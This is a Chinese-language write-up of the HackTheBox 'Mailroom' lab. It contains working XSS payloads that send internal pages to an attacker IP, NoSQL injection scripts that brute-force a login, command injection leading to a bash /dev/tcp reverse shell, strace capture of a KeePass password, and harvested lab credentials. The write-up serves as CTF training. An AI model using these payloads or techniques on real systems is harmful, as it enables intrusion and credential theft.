您现在的位置是:首页 >技术杂谈 >HTB Mailroom WriteUp网站首页技术杂谈

HTB Mailroom WriteUp

Som3B0dy 2023-06-30 20:00:02
简介HTB Mailroom WriteUp

Mailroom

Namp

┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 22:27 EDT
Nmap scan report for 10.10.11.209
Host is up (0.093s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
|   256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
|_  256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: The Mail Room
|_http-server-header: Apache/2.4.54 (Debian)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

xss漏洞

进到web界面各种尝试发现了一个xss

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

<script src="http://10.10.16.11/XSS/getcookie.php?cookie='+document.cookie+'"></script>

尝试这个payload来获取cookie失败了,什么都没拿到

XMLRequest发起ajax请求

在网上搜素了一段时间后发现了这篇文章

https://0xdf.gitlab.io/2021/03/20/htb-crossfit.html#subdomain-enum-again

他是利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下

文章中的payload

var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
    if(fetch_req.readyState == XMLHttpRequest.DONE) {
        var exfil_req = new XMLHttpRequest();
        exfil_req.open("POST", "http://10.10.14.11:3000", false);
        exfil_req.send("Resp Code: " + fetch_req.status + "
Page Source:
" + fetch_req.response);
    }
};
fetch_req.open("GET", "http://gym-club.crossfit.htb/security_threat/report.php", false);
fetch_req.send();

修改后:

<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
    if(fetch_req.readyState == XMLHttpRequest.DONE) {
        var exfil_req = new XMLHttpRequest();
        exfil_req.open("POST", "http://10.10.16.11", false);
        exfil_req.send("Resp Code: " + fetch_req.status + "
Page Source:
" + fetch_req.response);
    }
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>

nc -lvnp 80

在这里插入图片描述

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求

寻找子域名

在这里插入图片描述

仔细观察下面mailroom.htb 尝试寻找子域名

┌──(root💀kali)-[~]
└─# gobuster vhost -u http://mailroom.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://mailroom.htb
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.3
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/04/16 22:50:03 Starting gobuster in VHOST enumeration mode
===============================================================
Found: git.mailroom.htb Status: 200 [Size: 13201]
Progress: 41955 / 114442 (36.66%)

在这里插入图片描述

staff-review-panel 子域名

在这里插入图片描述

发现了新的子域名:http://staff-review-panel.mailroom.htb/auth.php?token=

把子域名信息添加到/etc/hosts文件中

10.10.11.209 mailroom.htb
10.10.11.209 git.mailroom.htb
10.10.11.209 staff-review-panel.mailroom.htb

我们直接在kali本地访问,发现403了

在这里插入图片描述

那么接下来我们尝试使用xss进行请求


└─# cat pwned.js                                                                                            
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.6/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);


Burpsuite 报文

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

email=1%401.com&title=1&message=<script src="http://10.10.16.6/pwned.js"></script>

在这里插入图片描述

成功接收回显!!读取到的内容是base64 加密过后的内容

代码审计

index.php

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
  <meta name="description" content="" />
  <meta name="author" content="" />
  <title>Inquiry Review Panel</title>
  <!-- Favicon-->
  <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
  <!-- Bootstrap icons-->
  <link href="font/bootstrap-icons.css" rel="stylesheet" />
  <!-- Core theme CSS (includes Bootstrap)-->
  <link href="css/styles.css" rel="stylesheet" />
</head>

<body>
  <div class="wrapper fadeInDown">
    <div id="formContent">

      <!-- Login Form -->
      <form id='login-form' method="POST">
        <h2>Panel Login</h2>
        <input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email">
        <input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
        <input type="submit" class="fadeIn fourth" value="Log In">
        <p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p>
      </form>

      <!-- Remind Passowrd -->
      <div id="formFooter">
        <a class="underlineHover" href="register.html">Create an account</a>
      </div>

    </div>
  </div>

  <!-- Bootstrap core JS-->
  <script src="js/bootstrap.bundle.min.js"></script>

  <!-- Login Form-->
  <script>
    // Get the form element
    const form = document.getElementById('login-form');

    // Add a submit event listener to the form
    form.addEventListener('submit', event => {
      // Prevent the default form submission
      event.preventDefault();

      // Send a POST request to the login.php script
      fetch('/auth.php', {
        method: 'POST',
        body: new URLSearchParams(new FormData(form)),
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
      }).then(response => {
        return response.json();

      }).then(data => {
        // Display the name and message in the page
        document.getElementById('message').textContent = data.message;
        document.getElementById('password').value = '';
        document.getElementById('message').removeAttribute("hidden");
      }).catch(error => {
        // Display an error message
        //alert('Error: ' + error);
      });
    });
  </script>
</body>
</html>

看回显内容这个界面大概是一个登录页面,看到还有注册的页面,读取一下register.html

register.html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
  <meta name="description" content="" />
  <meta name="author" content="" />
  <title>Inquiry Review Panel</title>
  <!-- Favicon-->
  <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
  <!-- Bootstrap icons-->
  <link href="font/bootstrap-icons.css" rel="stylesheet" />
  <!-- Core theme CSS (includes Bootstrap)-->
  <link href="css/styles.css" rel="stylesheet" />
</head>

<body>
  <div class="wrapper fadeInDown">
    <div id="formContent">
      <h2>We are not accepting any new registrants at this moment.</h2><br><br><br>
      <div id="formFooter">
        <a class="underlineHover" href="index.php">Login</a>
      </div>
    </div>
  </div>
  <!-- Bootstrap core JS-->
  <script src="js/bootstrap.bundle.min.js"></script>
</body>

</html>

在这里插入图片描述

对比这两个通过xss漏洞读取到的文件内容和仓库里面对比是一样的,所以接下来审计代码 ,我们把这个仓库git来

┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/mailroom]
└─# git clone http://git.mailroom.htb/matthew/staffroom.git
Cloning into 'staffroom'...
remote: Enumerating objects: 1209, done.
remote: Counting objects: 100% (1209/1209), done.
remote: Compressing objects: 100% (531/531), done.
remote: Total 1209 (delta 666), reused 1198 (delta 660), pack-reused 0
Receiving objects: 100% (1209/1209), 1.47 MiB | 2.00 MiB/s, done.
Resolving deltas: 100% (666/666), done.
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/mailroom]
└─# ls
staffroom

在这里插入图片描述

把所以鉴权的位置都修改一下
在这里插入图片描述

在这里插入图片描述

都注释一下

auth.php

<?php
require 'vendor/autoload.php';

session_start(); // Start a session
$client = new MongoDBClient("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
  header('HTTP/1.1 503 Service Unavailable');
  echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
  exit;
}
$collection = $client->backend_panel->users; // Select the users collection

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Verify the parameters are valid
  if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
  }

  // Check if the email and password are correct
  $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

  if ($user) {
    // Generate a random UUID for the 2FA token
    $token = bin2hex(random_bytes(16));
    $now = time();

    // Update the user record in the database with the 2FA token if not already sent in the last minute
    $user = $collection->findOne(['_id' => $user['_id']]);
    if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
        $collection->updateOne(
          ['_id' => $user['_id']],
          ['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
        );

        // Send an email to the user with the 2FA token
        $to = $user['email'];
        $subject = '2FA Token';
        $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
        mail($to, $subject, $message);
    }
    // Return a JSON response notifying about 2fa
    echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
    exit;

  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
  }
}

// Check for invalid parameters
else if (!isset($_GET['token'])) {
  header('HTTP/1.1 400 Bad Request');
  echo json_encode(['success' => false, 'message' => 'Email and password are required']);
  exit;
}

// Check if the form has been submitted
else if (isset($_GET['token'])) {
  // Verify Token parameter is valid
  if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
    exit;
  }

  // Check if the token is correct
  $user = $collection->findOne(['2fa_token' => $_GET['token']]);

  if ($user) {
    // Set the logged_in flag and name in the session
    $_SESSION['logged_in'] = true;
    $_SESSION['name'] = explode('@', $user['email'])[0];

    // Remove 2FA token since user already used it to log in
    $collection->updateOne(
      ['_id' => $user['_id']],
      ['$unset' => ['2fa_token' => '']]
    );

    // Redirect to dashboard since login was successful
    header('Location: dashboard.php');
    exit;
  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
    exit;
  }
}


?>

审计了一下,这个页面的作用是鉴权,正如文件名auth.php 一样 ,首先观察到 后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始鉴权逻辑

  1. 首先检查用户是否通过POST请求发送emali 和 password 字段
    1. 在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑
    2. 服务的会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段
    3. 最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型

这里是存在nosql注入的,有关于nosql注入的内容

Refer:https://book.hacktricks.xyz/pentesting-web/nosql-injection

inspect.php

<?php
session_start(); // Start a session
// Check if authorized
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
  // header('Location: index.php'); // The user is NOT logged in, redirect back to the login page
  // exit;
}

$data = '';
if (isset($_POST['inquiry_id'])) {
  $inquiryId = preg_replace('/[$<>;|&{}()[]'"]/', '', $_POST['inquiry_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-0">');
  if ($start === false) {
    // Data not found
    $data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}

$status_data = '';
if (isset($_POST['status_id'])) {
  $inquiryId = preg_replace('/[$<>;|&{}()[]'"]/', '', $_POST['status_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-1">');
  if ($start === false) {
    // Data not found
    $status_data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}

这个文件带有命令执行!!!shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

Nosql利用

这里是存在nosql注入的,有关于nosql注入的内容

Refer:https://book.hacktricks.xyz/pentesting-web/nosql-injection

我们看到auth.php中验证是通过 和MongoDB 交互的 我们在这里尝试 nosql

┌──(root💀kali)-[/home/…/hacktheboxtools/machine/mailroom/pwnjs]
└─# cat pwnnosql.js

var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.6/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");


在这里插入图片描述

在这里插入图片描述

可以看到我们成功登录了

接下来想办法通过nosql爆破用户名和密码

brute-force username

下面的脚本通过递归调用的方式慢慢爆出我们想要的内容

┌──(root💀kali)-[/home/…/hacktheboxtools/machine/mailroom/pwnjs]
└─# cat pwnuser.js
async function callAuth(mail) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%'()+, -/:;<=>@[]_`{}~", mail);
        }
    };
    http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.16.6/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%'()+, -/:;<=>@[]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "");

在这里插入图片描述

在bp上 连续发送两个包

在这里插入图片描述

我们可以看到返回了username 末尾的三个字符

那我们修改一下脚本

async function callAuth(mail) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%'()+, -/:;<=>@[]_`{}~", mail);
        }
    };
    http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.16.6/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%'()+, -/:;<=>@[]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "tan");

cal(chars,"") 修改成 cal(chars,"tan");

继续前面的操作,burpsuite 上发送两个包
在这里插入图片描述

可以看到又多爆出了3个email 的字符,一直这样操作直到,直到不再有新的字符生成

在这里插入图片描述

最后就是得到

email: tristan@mailroom.htb

brute-force password

async function callAuth(pass) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(pass);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#%'()+, -/:;<=>@[]_`{}~", pass);
        }
    };
    http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {
    fetch("http://10.10.16.6/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#%'()+, -/:;<=>@[]_`{}~";
function cal(chars, pass) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(pass+chars[i])
    }
}
cal(chars, "");

同样的方法爆破 password

在这里插入图片描述

bp点两下

在这里插入图片描述

开头前3位为69t 就和前面爆破 email 一样接着继续

在这里插入图片描述

最终得到一个密码

用户名和密码

emailpassword
tristan69trisRulez!

尝试ssh登录,成功登录
在这里插入图片描述

登录上来后,发现flag不在 tristan用户的跟目录下 在matthew 用户的根目录下

在这里插入图片描述

内网中的 staff-review-panel 这个域名我们不能直接访问,通过代建socks代理 探测

在这里插入图片描述

在这里插入图片描述

尝试登录需要 2FA验证

tristan@mailroom:/$ cd /var
tristan@mailroom:/var$ ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  spool  tmp
tristan@mailroom:/var$ cd mail
tristan@mailroom:/var/mail$ ls
root  tristan
tristan@mailroom:/var/mail$ pwd
/var/mail
tristan@mailroom:/var/mail$ cat tristan
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
        by mailroom.localdomain (Postfix) with SMTP id D9FCCB428
        for <tristan@mailroom.htb>; Thu, 20 Apr 2023 03:51:24 +0000 (UTC)
Subject: 2FA

Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=d21406f4bbfb773bb13e87486c977e1d
From noreply@mailroom.htb  Thu Apr 20 04:06:25 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
        by mailroom.localdomain (Postfix) with SMTP id C02DC1C6F
        for <tristan@mailroom.htb>; Thu, 20 Apr 2023 04:06:25 +0000 (UTC)
Subject: 2FA

Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=1b3561f8c0bd39549c69774f8eba7b01

tristan@mailroom:/var/mail$

我们在/etc/mail/tristan 文件中发现了这个链接

访问一下

在这里插入图片描述

成功进入

还记得inspect.php是可以执行命令嘛,在代码中调用了shell_exec,传入参数我们可控 我们在这里尝试

在这里插入图片描述

nc 文件的内容


#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/5555 0>&1

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

www-data@04db00295fe8:/var/www$ grep "matthew" ./ -r
grep "matthew" ./ -r
./mailroom/inquiries/5657465f7712d50b2aaceaa09453c71f.html:(Contact me back on: matthew@mailroom.htb)</p>
./mailroom/.git/logs/refs/heads/main:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000       clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/refs/heads/main:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125833 +0000   commit: added page timeout
./mailroom/.git/logs/refs/remotes/origin/main:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125839 +0000  update by push
./mailroom/.git/logs/refs/remotes/origin/HEAD:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000      clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/HEAD:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000 clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/HEAD:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125833 +0000     commit: added page timeout
./mailroom/.git/config: url = http://matthew:HueLover83%23@gitea:3000/matthew/mailroom.git
./mailroom/.git/config: email = matthew@mailroom.htb
./staffroom/.git/logs/refs/heads/main:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000      clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/refs/heads/main:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048504 +0000  commit: fixed path problem
./staffroom/.git/logs/refs/heads/main:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125768 +0000  commit: fixed path bug & email spam
./staffroom/.git/logs/refs/remotes/origin/main:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048511 +0000 update by push
./staffroom/.git/logs/refs/remotes/origin/main:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125777 +0000 update by push
./staffroom/.git/logs/refs/remotes/origin/HEAD:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000     clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/HEAD:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/HEAD:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048504 +0000    commit: fixed path problem
./staffroom/.git/logs/HEAD:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125768 +0000    commit: fixed path bug & email spam
./staffroom/.git/config:        url = http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
./staffroom/.git/config:        email = matthew@mailroom.htb
www-data@04db00295fe8:/var/www$

反弹shell 后 我们参数搜索有 matthew 关键字的文件

http://matthew:HueLover83#@gitea:3000/matthew/staffroom.git

usernamepassword
matthewHueLover83#

切换用户拿到userflag

root

在matthew 目录下发现一个 personal.kdbx 文件

尝试下载

在这里插入图片描述

上次打coder的时候,看见过这种后缀名的文件可以使用keePass软件打开,但是需要key

在这里插入图片描述

pspy 看进进程的时候找到了 kpcli 进程

在这里插入图片描述

通过ps -ef | grep kpcli | grep perl | awk '{print $2} '来找到 kpcli的进程id

matthew@mailroom:~$ ps -ef  | grep kpcli | grep perl  | awk '{print $2} '
390872

通过 strace -p 来查看系统调用

strace log信息

matthew@mailroom:~$ strace -e read -p `ps -ef | grep kpcli | grep perl | awk '{print $2}'`   -o readlog.txt
matthew@mailroom:~$cat readlog.txt
read(3, "e", 1)                         = 1
read(3, "/", 1)                         = 1
read(3, "m", 1)                         = 1
read(3, "a", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "h", 1)                         = 1
read(3, "e", 1)                         = 1
read(3, "w", 1)                         = 1
read(3, "/", 1)                         = 1
read(3, "p", 1)                         = 1
read(3, "e", 1)                         = 1
read(3, "r", 1)                         = 1
read(3, "s", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "n", 1)                         = 1
read(3, "a", 1)                         = 1
read(3, "l", 1)                         = 1
read(3, ".", 1)                         = 1
read(3, "k", 1)                         = 1
read(3, "d", 1)                         = 1
read(3, "b", 1)                         = 1
read(3, "x", 1)                         = 1
read(3, "
", 1)                        = 1
read(5, "3331242232g373K26513220001301362346277qCP276X5!j374Z3773"..., 8192) = 1998
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "!", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "s", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "U", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "3", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "p", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "4", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "w", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "0", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "1", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "10", 8192)                    = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "d", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "9", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "
", 8192)                     = 1
read(5, "3331242232g373K26513220001301362346277qCP276X5!j374Z3773"..., 8192) = 1998
read(5, "
package Compress::Raw::Zlib;

r"..., 8192) = 8192
read(5, " if $validate && $value !~ /^\d+"..., 8192) = 8192
read(5, "    croak "Compress::Raw::Zlib::"..., 8192) = 8192
read(5, "177ELF2113>1)"..., 832) = 832
read(5, "177ELF21133>1200""..., 832) = 832
read(5, "# XML::Parser
#
# Copyright (c) "..., 8192) = 8192
read(6, "package XML::Parser::Expat;

use"..., 8192) = 8192
read(6, ";
    }
}

sub position_in_conte"..., 8192) = 8192
read(6, "177ELF2113>1240<"..., 832) = 832
read(6, "177ELF2113>1000B"..., 832) = 832
read(5, "package MIME::Base64;

use stric"..., 8192) = 5450
read(5, "177ELF2113>130022"..., 832) = 832
read(6, "3331242232g373K26513220001301362346277qCP276X5!j374Z3773"..., 8192) = 1998
read(6, "", 8192)                       = 0
